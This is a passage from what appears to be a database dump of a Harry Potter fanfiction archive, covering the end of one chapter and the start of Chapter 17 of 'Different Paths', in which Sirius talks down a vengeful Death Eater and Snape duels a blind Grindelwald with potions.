sir...&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Burn it Pearlman, or else I&#8217;ll burn it myself, with you in it!&nbsp; No brainless monk is going to stand between me and my Country Club!&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Pearlman was not ready to back down and follow his boss&#8217;s orders.&nbsp; &#8220;But...but...sir, the Ministry&#8217;s not about to stay silent if an entire monastery that&#8217;s a wizard&#8217;s residence, burns down.&nbsp; Even if we blame it on You-Know-Who, there going to investigate and they&#8217;ll uncover us whereupon it&#8217;s Azkaban!&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Ah, but who said we&#8217;re going to blame it on You-Know-Who?&#8221; said Mortan with a sinister grin.&nbsp; &#8220;We&#8217;re going to blame it on the IRA.&nbsp; If it was some muggle group that burned the monastery, than the Ministry wouldn&#8217;t care enough for an investigation.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Later that night, Angelus was out looking for prospective places to move when he noticed an orange glow against the night sky and smelled something burning.&nbsp; &#8220;No!&#8221; he yelled.&nbsp; Running as fast as he could, Angelus hurried to a ledge overlooking the monastery and gasped in horror.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>The Monastery was on fire.&nbsp; It was completely ablaze and Angelus could feel the heat radiating from the inferno.&nbsp; There was also a sickening smell in the air.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;No!&nbsp; No!&nbsp; NO!&nbsp; NO!!!&#8221; screamed Angelus.&nbsp; No matter what however, Angelus couldn&#8217;t get close to the raging inferno.&nbsp; Had Angelus been a fully trained wizard, he might&#8217;ve been able to put the fire out and save at least some of the children but alas, he didn&#8217;t have the training.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>The fire continued raging until the morning, and by then all that was left of the monastery and the children, was a burned up crucifix that one of the girls had owned.&nbsp; Angelus found it while digging graves for the children.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>There, over that single crucifix, Angelus wept.&nbsp; He wept for hours upon hours until there were no more tears to left.&nbsp; And when those tears were spent, the kind twinkle in Angelus&#8217;s eyes were replaced by a burning rage and &#8220;Angelus the Destroyer&#8221; was born.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>5 years later, the silent tranquility of the North Ireland Wizard&#8217;s Country Club was broken by a blood-curling scream.&nbsp; Burgess Morton looked on with pure horror as the hulking figure of Angelus O&#8217;Connell walked toward him, stepping on the crushed corpse of his manservant, Pearlman.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Morton,&#8221; hissed Angelus.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Stay away!&nbsp; Stay away!&#8221; screamed Morton.&nbsp; &#8220;What do you want, money?&nbsp; I can pay you!&nbsp; I can really pay you!&nbsp; 5 million galleons!&nbsp; Just spare my life!&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Burgess Morton,&#8221; hissed Angelus.&nbsp; &#8220;You will now pay for your sins.&#8221;&nbsp; With that, Angelus crushed Morton&#8217;s head in his massive Double-Neutral powered hands.</i></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;That is why I must fight!&#8221; yelled Angelus.&nbsp; &#8220;That is why I became &#8220;The Destroyer&#8221;!&nbsp; To right this corrupted world, it must first be destroyed and then rebuilt from scratch!&nbsp; Until the deaths of the children are avenged, &#8220;Angelus the Destroyer&#8221; will not fall!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius had a pensive look on his face.&nbsp; &#8220;Angelus I sympathize with you, far more than you can possibly imagine.&nbsp; But your theory, that the world must be destroyed and remade, is highly, and I mean highly flawed.&nbsp; And what&#8217;s worse, you&#8217;re on Voldemort&#8217;s side!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My allegiance to the Dark Lord is conditional,&#8221; said Angelus.&nbsp; &#8220;I joined the Death Eaters on the single condition that I myself can decide whether to kill or spare my assassination targets.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Bullshit!&#8221; snapped Sirius.&nbsp; &#8220;Condition to kill or spare lives my eye: that&#8217;s just nothing more than a petty excuse to justify your bloody quest of vengeance!&nbsp; But since it doesn&#8217;t seem like my words are penetrating your skull, COME ANGELUS!!!&nbsp; I&#8217;LL BEAT IT INTO YOU!!!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>After that, the Wizard Duel between Sirius and Angelus digressed into an all or nothing street brawl as Sirius and Angelus did nothing more than pummel each other with Double-Neutral powered fists.&nbsp; However, no matter how impressive the fist fight was, it was next to nothing compared to the shouting match between the two duelers.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Open your eyes Angelus!&#8221; yelled Sirius as he continued pummeling Angelus.&nbsp; &#8220;Stop this rampage now!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You don&#8217;t understand,&#8221; shouted Angelus as he caught Sirius in another powerful blow.&nbsp; &#8220;I have nothing to live for!&nbsp; All there is for me is to destroy.&nbsp; I am the Destroyer, this world must be cleansed.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You fool!&nbsp; Don&#8217;t you get it?&nbsp; Nothing comes from destruction, just a whole pile of dead things.&nbsp; All you&#8217;re sprouting are a bunch of excuses to further your vengeance crazed rampage!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Destruction is what the world needs now!&nbsp; The corruption must be destroyed before the world can be saved!&#8221;&nbsp; Angelus pulled out his wand and slammed it into the floor, sending a Double-Neutral pulse toward Sirius.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh yeah, and then what?&nbsp; What if the next world is just as corrupt as this one?&nbsp; And the one after that!&nbsp; Will you just be doing nothing but destroying worlds over and over again?&#8221;&nbsp; Sirius avoided the pulse by leaping into the air.&nbsp; He landed right on Angelus was a triple Double-Neutral powered punch combination.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;If need be,&#8221; yelled Angelus.&nbsp; &#8220;I must be the Destroyer.&nbsp; I must continue being the Destroyer for the sake of the Children!&#8221;&nbsp; Angelus made another powerful punch toward Sirius.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Open your eyes Angelus O&#8217;Connell!&#8221; yelled Sirius as he grabbed Angelus&#8217;s arm.&nbsp; &#8220;The children don&#8217;t want you to become a destroyer!&nbsp; All they want is for you to be happy!&nbsp; Don&#8217;t believe me, well look at the crucifix you have tucked in your belt!&nbsp; That crucifix that represents those children to you!&nbsp; Can&#8217;t you see that they are weeping in pain?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221;&nbsp; Angelus suddenly ended his rampage and looked toward the crucifix tucked into his belt.&nbsp; His own blood covered the crucifix: it looked as if it were weeping.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;My God,&#8221; muttered Angelus.&nbsp; Slowly he sunk to his knees, and it was if scales fell from his eyes and he had regained his vision for the first time in twenty years.&nbsp; And right there, before all those present, the Destroyer once again became human.&nbsp; &#8220;My God, what have I done?&nbsp; What have I become?&#8221; Angelus whispered as he started weeping.</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius stood in front of his fallen adversary and said, &#8220;Angelus, I have no idea how much pain you&#8217;re going through, now that you&#8217;ve realized your mistakes.&nbsp; But just listen to me, no one wants the world to be destroyed, especially not the children you lost twenty years ago.&nbsp; You&#8217;ve been given another chance now Angelus O&#8217;Connell.&nbsp; Take it, and live your life once again.&nbsp; I&#8217;m sure that&#8217;s what the children would&#8217;ve wanted for you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes,&#8221; said Angelus, still on his knees.&nbsp; &#8220;I have lost this duel.&nbsp; You, Sirius Black have proven yourself to be the better man.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Sirius nodded grimly.&nbsp; &#8220;Yeah, I know.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p><b>To be continued...</b></p>\n\n<p>&nbsp;</p>\n\n<p>A/N I am so sorry this chapter took over a month to come out.&nbsp; I have no excuse for this other my own laziness and maybe Portkey chat.&nbsp; Anyway, I hope you liked this chapter, please read and review.&nbsp; And, for crying out loud, please read these A/Ns and disclaimers.&nbsp; Next: Grindelwald.</p> '),
	(33, 17, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="ProgId" content="Word.Document">\n\n<meta name="Generator" content="Microsoft Word 9">\n\n<meta name="Originator" content="Microsoft Word 9">\n\n<link rel="File-List" href="./Chapter17_files/filelist.xml">\n\n<title>Title: Different Paths (17)</title>\n\n<xml> Eric Riley Normal Eric Riley 2 1 2003-05-30T05:58:00Z 2003-05-30T05:59:00Z 9 2910 16587 Portland State University 138 33 20370 9.3821 </xml>\n\n<style>\n\n</style>\n\n\n\n<p><b>Title:</b> Different Paths (17)<br>\n\n\n<b>Author name:</b>\n\n<a href="http://www.fictionalley.org/fictionalleypark/forums/member.php?action=getinfo&userid=1952">E. C. R. Potter</a><br>\n\n\n<b>Author email:</b>\n\n<a href="mailto:ecrpotter@hotmail.com">ecrpotter@hotmail.com</a><br>\n\n\n<b>Category:</b> Action/Adventure<br>\n\n\n<b>Sub Category:</b> Drama<br>\n\n\n<b>Keywords:</b> Harry Voldemort Different Paths H/H D/G<br>\n\n\n<b>Rating:</b> PG-13<br>\n\n\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Rurouni Kenshin: Kyoto story arc.<br>\n\n\n<b>Summary:</b> Tom Marvolo Riddle, Harry James Potter. Two wizards, with incredibly similar beginnings, who journeyed on different paths. Such different paths that inevitably, they could only lead to a collision course. And collide, they do.&nbsp; H/H and D/G.<br>\n\n\n<b>DISCLAIMER:</b> This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. It is also based on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics Inc., Fuji Television, Studio Gallop, and other publishers. No money is being made and no copyright or trademark infringement is intended from them either.<br>\n\n\n<b>Author notes:</b> Since it took me way to long to get the last chapter out, I&#8217;m going to try to get this chapter out faster.&nbsp; Hopefully you&#8217;ll be getting it soon and I&#8217;m hoping you&#8217;ll enjoy this chapter as well.&nbsp; Have fun, and constructive criticism is appreciated.</p>\n\n<p>&nbsp;</p>\n\n<p><b>Chapter 17: Grindelwald the Blind Spell</b></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Can you walk?&#8221; asked Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, no problem,&#8221; replied Sirius.&nbsp; He tried to take a few steps and had to be caught by Harry before his wobbling legs caused him to fall over.&nbsp; &#8220;OK, maybe not.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hmph, why must it always come down to me,&#8221; grumbled Snape.&nbsp; He fished into his robes a pulled a small vial that contained a dark purplish liquid.&nbsp; He tossed it to Sirius and said, &#8220; Drink some of that.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What, you trying to poison me?&#8221; said Sirius.</p>\n\n<p>&nbsp;</p>\n\n<p>Snape rolled his eyes.&nbsp; &#8220;The thought had crossed my mind but given our current battle statistics, I figured that wouldn&#8217;t be plausible.&nbsp; It&#8217;s just a first-aid potion I brewed last night, it&#8217;ll help you recover from your wounds though not completely.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Still looking skeptical, Sirius took a small sip of the potion.&nbsp; He didn&#8217;t know whether to be pleased or dismayed that the liquid was indeed a first-aid potion.&nbsp; Whichever way, the potion healed some of Sirius&#8217;s worst bruises and he was soon walking around without a problem.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;All right, all set and clear,&#8221; said Sirius.&nbsp; He turned to Yasmin and said, &#8220;OK lady, lead us on to the next challenge.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Yasmin was about to retort with a nasty comment when Angelus spoke up, &#8220;Wait, you must turn back now!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&nbsp; Why?&#8221; asked Sirius.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The only Elite Ten beyond this point are Grindelwald, Horace Salacion, and Seth Soran,&#8221; said Angelus.&nbsp; &#8220;The remaining have left with an entire legion of Death Eaters and dementors, intending to wipe out the Order of the Phoenix at the Leaky Cauldron while the three of you are here.&nbsp; You must head back there and aid them.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry and Sirius were completely horrified.&nbsp; Even Snape looked a little pale though he kept his cool.&nbsp; &#8220;Damn you Voldemort!&#8221; cursed Sirius.&nbsp; &#8220;Damn it!&nbsp; I should&#8217;ve known he&#8217;d plan something underhanded as that!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Yasmin looked furious.&nbsp; &#8220;Hey, I must point out that attacking the Leaky Cauldron was Horace&#8217;s idea!&nbsp; Our Lord originally planned to have you three meet the entire Elite Ten here, as was originally promised!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It is still an underhanded, disgusting tactic, fit for dark wizards and witches,&#8221; growled Snape.&nbsp; &#8220;We must head back to the Leaky cauldron now!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh no you don&#8217;t,&#8221; said Yasmin with a smirk.&nbsp; &#8220;You have to continue on.&nbsp; Remember?&nbsp; The path leading down here is a labyrinth of caverns.&nbsp; If you try to find your way back without my guidance, you&#8217;ll get lost and eventually starve to death down there.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;She&#8217;s right,&#8221; said Harry.&nbsp; &#8220;We don&#8217;t have a choice, we have to go on.&nbsp; All we can now do is trust the Order and hope that they can repel the Death Eater attack.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Meanwhile, the Leaky Cauldron was completely surrounded by an entire army of Death Eaters and Dementors.&nbsp; The wizards and witches of the Order were managing to hold them off with a series of well-placed spells, but most of them, were far too injured from the previous battle to face any of the Elite Ten.&nbsp; As a result, three of the Elite Ten, all women, were now standing right in front of the pub, out on Charing Cross Road, as if challenging the remaining few in the Leaky Cauldron.&nbsp; However few remained.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Let me get this straight, you three are the only ones in enough shape to take on the Elite Ten now?&#8221; exclaimed Remus.&nbsp; The three he was referring to were Ginny, Ron, and Hermione. </p>\n\n<p>&nbsp;</p>\n\n<p>Hermione frowned.&nbsp; &#8220;You make that sound as if it&#8217;s a bad thing.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It&#8217;s not,&#8221; said Remus.&nbsp; &#8220;It&#8217;s just that, you three are still so young, and you&#8217;re the only ones who can go up against the Elite ten now, so...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Young?&#8221; demanded Ron.&nbsp; &#8220;Young?&nbsp; Harry&#8217;s the same age as us and no one comments about him going off to fight You-Know-Who!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Have faith in us,&#8221; said Ginny with a smirk.&nbsp; &#8220;You yourself taught me practically everything about DADA I know and I have absolute faith in my brother&#8217;s and Hermione&#8217;s abilities as well.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Remus sighed and nodded.&nbsp; &#8220;OK, but be careful.&nbsp; Now, Ginny will take care of that black haired witch while Ron and Hermione will go up against those two that look like sisters.&nbsp; Ready?&nbsp; Go!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Within minutes Yasmin had led Harry, Sirius, and Snape to the next room.&nbsp; &#8220;Here it is, your next challenge,&#8221; said Yasmin.&nbsp; &#8220;You may have been able to pass Angelus but trust me, there is no way any of you will be able to get through Grindelwald with at least one of you perishing.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yeah, yeah, enough of the big talk lady. Just open the bloody door!&#8221; said Sirius.&nbsp; Yasmin glared at him and pushed the door open.</p>\n\n<p>&nbsp;</p>\n\n<p>While Angelus&#8217;s room was lighted up by stain glass windows and candles, Grindelwald&#8217;s&nbsp; room was completely dark, the only source of illumination came from the Lumos spells on their wand.&nbsp; The walls, ceiling, even the floor of the perfectly cubicle room was covered in painted eyes, all grotesquely starring at the three wizards whom had dared to intrude into the room.&nbsp; And there standing in the middle of the room, was Grindelwald himself.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;One...two...three.&nbsp; Aw, did Angelus fail to kill even one of you?&nbsp; That&#8217;s too bad.&nbsp; Or maybe not, since there&#8217;s more for me to kill,&#8221; chuckled Grindelwald.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Why you&#8217;re a little ray of sunshine aren&#8217;t you?&#8221; said Sirius.&nbsp; &#8220;Come on everyone, lets just take care of this guy and move on!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Leave that to me,&#8221; said Snape.&nbsp; &#8220;You and Potter go on ahead.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221; said Harry and Sirius at the same time.&nbsp; &#8220;Are you sure about this?&nbsp; He took out 50 aurors in one night remember?&nbsp; You can&#8217;t underestimate him,&#8221; said Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>Snape raised an eyebrow.&nbsp; &#8220;Since when have you ever worried about me?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I worry about a lot of people,&#8221; said Harry.&nbsp; &#8220;Even you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Come on Harry, he&#8217;ll be fine,&#8221; said Sirius.&nbsp; Harry reluctantly nodded.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Stop!&nbsp; That is not allowed!&#8221; snapped Yasmin. &#8220;You can not proceed past this point, leaving only one to fight!&nbsp; My Lord will not accept it!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh quit your yammering lady!&#8221; snapped Sirius.&nbsp; Then, much to Yasmin&#8217;s horror, Sirius picked her up and threw her over his shoulder.&nbsp; &#8220;Lets go!&#8221; he yelled.&nbsp; Then, amid Yasmin&#8217;s protests (&#8220;Put me down! Only My Lord can touch me!&#8221;), he and Harry took off through the room and down the next corridor.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh, setting us up for only a one on one?&nbsp; You&#8217;ve got a lot of nerve thinking you can take me alone without a back up,&#8221; said Grindelwald.</p>\n\n<p>&nbsp;</p>\n\n<p>Snape smirked.&nbsp; &#8220;True, but they would ultimately be a hindrance, in my killing you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Grindelwald laughed.&nbsp; &#8220;Spoken like a Death Eater!&#8221;&nbsp; Snape raised an eyebrow.&nbsp; &#8220;A raised eyebrow?&nbsp; You find something ironic?&nbsp; Of course, you are the traitor!&nbsp; The one who turned spy for Dumbledore against Riddle. You have a lot of nerve showing up here again.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Snape looked unphased.&nbsp; &#8220;Can we get on with this please?&nbsp; You&#8217;re the challenged here, so what are the rules?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No particular rules, just an all or nothing duel to the death,&#8221; said Grindelwald.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Very well then, if that&#8217;s the case, I will fight primarily with these.&#8221;&nbsp; Snape opened his cloak to reveal at least two-dozen small bottles containing potions of various colors, all hanging from various hooks within the inside of his cloak.</p>\n\n<p>&nbsp;</p>\n\n<p>Since Grindelwald was blind, he shouldn&#8217;t have known what Snape had just brought out.&nbsp; Yet, strangely enough the next thing he asked was, &#8220;Potions?&nbsp; Hmm exactly how do you plan on using those in a duel?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Snape didn&#8217;t say anything.&nbsp; Grindelwald chuckled.&nbsp; &#8220; It appears that you&#8217;re perplexed at my being able to sense those potions hanging along the inside of your cloak.&nbsp; It so happens that it is because of a certain type of magic I use, a six sense if you will.&nbsp; It&#8217;s pretty much the source of my power.&nbsp; It allowed me to survive all these years and it was also what helped me slaughter those 50 aurors the other day.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Snape stiffened a little.&nbsp; Grindelwald laughed.&nbsp; &#8220;Struck a nerve did I?&nbsp; Well, no worries, I&#8217;m about to make you my 51<sup>st</sup> auror this week!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Saying that, Grindelwald, fired a Cruciatus Curse straight at Snape.&nbsp; Snape managed to side step out of the way.&nbsp; However, Grindelwald was suddenly right in front of Snape and fired a curse at Snape near point blank range.&nbsp; Snape managed to fall back but the curse still grazed his nose a little.&nbsp; Grindelwald grinned maliciously and was about to move in for the kill when Snape grabbed one of his potions and smashed it on the floor.&nbsp;&nbsp;&nbsp; The potion did nothing more than make a loud exploding noise, but Grindelwald was momentarily stunned.&nbsp; Snape didn&#8217;t miss his chance and blasted Grindelwald away.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well how about that?&#8221; said Snape.&nbsp; It really is curious isn&#8217;t it?&nbsp; You were able to read all of my movements and feelings perfectly, and yet a potion that makes nothing more than a lot of noise completely phases you.&nbsp; Now that makes me wonder what your so called, sixth sense really is.&nbsp; Perhaps, it has something to do with say, oh I don&#8217;t know, your ears?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>For a second, Grindelwald said absolutely nothing.&nbsp; Then he grinned maligiously.&nbsp; &#8220;You think correct, I must congratulate you.&nbsp; That is right, the secret of my &#8216;sixth sense&#8217; is a series of highly advanced hearing charms.&nbsp; With these charms I can decipher your emotions by listening to the slightest changes in your heartbeat.&nbsp; I can anticipate your next move by listening to the slightest creaks in you muscles.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It really is an amazing power isn&#8217;t it?&nbsp; I discovered it shortly after Riddle blinded me.&nbsp; There I was, lying on the ground in a near death state for days.&nbsp; The snow around me had completely melted so I was without access to water, yet the temperatures were still freezing.&nbsp; It still surprises me to this day that I wasn&#8217;t attacked by any wild creatures.&nbsp; Night after night, the thirst that overcame me after that snow had melted was overwhelming.&nbsp; I was about to succumb to death itself when I heard it, the slight trickle of a stream and running water over a mile away.&nbsp; I groggily stood up and walked that entire distance, relying solely on the sound of that faint trickle.&nbsp; I made it to the stream and survived.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It was then, that I started honing this power.&nbsp; I had discovered that my hearing was highly above the average wizard&#8217;s so I cultivated it, mastered it.&nbsp; I journeyed to the very gates of hell and came back.&nbsp; Riddle gave me a handicap and I grew it into an advantage for the day I face and kill him.&#8221;&nbsp; Grindelwald grinned wistfully.&nbsp; &#8220;So you see, you are nothing more than a small insignificance, due to be wiped out by me right now.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Grindelwald charged at Snape again.&nbsp; Snape smashed another potion, causing a lot of noise but this time, Grindelwald was not fazed as his curse, hit Snape&#8217;s cheek.&nbsp; It was only a minor curse so it didn&#8217;t hurt Snape much.&nbsp; It appeared that Grindelwald was trying to slowly beat Snape to death.&nbsp; &#8220;There now, frightened?&#8221; he sneered.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You wish,&#8221; said Snape.&nbsp; &#8220;Now what&#8217;s that you said about your powers?&nbsp; Something about it being an advanced hearing charm?&nbsp; Funny I have certain powers of my own?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh? And pray, tell me what those powers are?&#8221; said Grindelwald, looking skeptical.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;A simple power called &#8216;observation&#8217;.&nbsp; My years as first a spy and later a professor has really made me into a bit of an expert on this subject.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh and what do you plan to observe?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well first of all, you grinned wistfully when you were talking about facing and killing the Dark Lord.&nbsp; So that got me thinking, why would you grin over something you claim to be so obsessed about?&nbsp; Then it hit me, of course, you were grinning because that &#8216;obsession of yours is nothing more than a cover.&nbsp; You have no intention of ever facing the Dark Lord again.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Grindelwald said nothing.&nbsp; Snape continued speaking, &#8220;You said yourself that you had journeyed to the very gates hell and come back.&nbsp; Yet, during that time, Tom Riddle had traversed through Hell itself and emerged as Lord Voldemort.&nbsp; Upon meeting him, you realized that you didn&#8217;t stand a chance against him.&nbsp; So, you joined the Death Eaters on the &#8216;condition&#8217; that you could &#8216;try to kill him any time you wished&#8217;.&nbsp; That way, you could at least hide from those around you that you have already lost without even fighting.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>For a moment, both duelers remained completely quiet.&nbsp; Then, as if they were overtaken by a certain bout of madness, they started chuckling together.&nbsp; Within seconds, their chuckles had turned into full blown malicious sounding laughter, that is until Grindelwald&#8217;s laugh turned into an angry scream of &#8220;WHAT ARE YOU LAUGHING AT?!!!!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;At you, you coward,&#8221; sneered Snape.&nbsp; &#8220;Do you know why I quit the spying business and became an auror?&nbsp; Risking the chance of exposure to the Death Eaters: because I was sick and tired of the underhanded ways of my double agent role.&nbsp; I wanted to declare once and for all which side I was on, no more hiding anything.&nbsp; And if that meant being chased around by Dark Wizards for the rest of my life, then so be it.&nbsp; But you, you just hide your shame behind a so-called &#8216;condition&#8217;.&nbsp; You make me sick, Grindelwald.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Grindelwald had completely lost his cool.&nbsp; For years, he had successfully carried this secret, his one dark secret around with no one figuring out the truth, not even Riddle.&nbsp; Then, along comes this former Death Eater turned traitorous Auror, and what does he do?&nbsp; Figure out his one secret.&nbsp; Grindelwald gripped his wand so hard, his hand started to bleed.&nbsp; &#8220;I am going to kill you!&#8221; he hissed.</p>\n\n<p>&nbsp;</p>\n\n<p>Snape raised his wand again.&nbsp; &#8220;Go ahead and try, coward.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Grindelwald charged at Snape again.&nbsp; Snape was ready for him, and fired a rather painful curse straight at Grindelwald.&nbsp; Grindelwald simply shrugged the curse off and leapt into the air.&nbsp; From the air, he conjured up razor sharp blades of magic that he sent flying into Snape&#8217;s thighs.</p>\n\n<p>&nbsp;</p>\n\n<p>Snape grimaced in pain as he pulled out another potion, containing a grayish blue liquid.&nbsp; Snape threw the bottle at Grindelwald, and it shattered on his robes.&nbsp; A blue smoke engulfed Grindelwald and he suddenly couldn&#8217;t breathe.</p>\n\n<p>&nbsp;</p>\n\n<p>Trying to get his cool back, Grindelwald managed to place a breathing charm on himself.&nbsp; Snape took that opportunity to charge straight at Grindelwald and try to smash another bottle containing a pink potion over his head.&nbsp; Grindelwald was a bit too fast for him however as he shot a spell that smashed the bottle over Snape&#8217;s head.&nbsp; Snape barely got out of the way as the potion spilled on the floor, eating a hole into it.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;See?&#8221; gloated Grindelwald.&nbsp; &#8220;Every attack of yours, I can anticipate.&nbsp; Every move, I can read.&nbsp; You don&#8217;t stand a chance against me so you&#8217;re going to die today!&nbsp; You&#8217;re going to die the most painful and torturous way imaginable to man and then I&#8217;ll be dancing over your corpse!&nbsp; Because you figured out my secret, you deserve to die!&nbsp; You figured out the one secret not even Riddle has been able to figure out!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Snape rolled his eyes.&nbsp; &#8220;You really are pathetic aren&#8217;t you?&nbsp; You should give the Dark Lord more credit you know?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Grindelwald was taken aback.&nbsp; &#8220;What?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;The Dark Lord is far more sharp than you give him credit for,&#8221; said Snape.&nbsp; &#8220;He&#8217;s probably already figured out your little ploy years ago.&nbsp; In fact, knowing him, he&#8217;s probably only pretending he hasn&#8217;t figured out your secret while he milks you for all that it&#8217;s worth while secretly laughing behind your back at your sheer pathetic-ness.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Grindelwald ws now in a state of complete shock, from the simple realization that what Snape had just said had to be true and that he had been truly &#8220;blind&#8221; for not realizing the truth.&nbsp; In a burst of simple uncontrolled rage, Grindelwald screamed, &#8220;NOOOOO!!!!!&#8221; and charged at Snape, the killing curse on his lips.</p>\n\n<p>&nbsp;</p>\n\n<p>This was Snape&#8217;s chance.&nbsp; Delving deep into his cloak, he pulled out a small 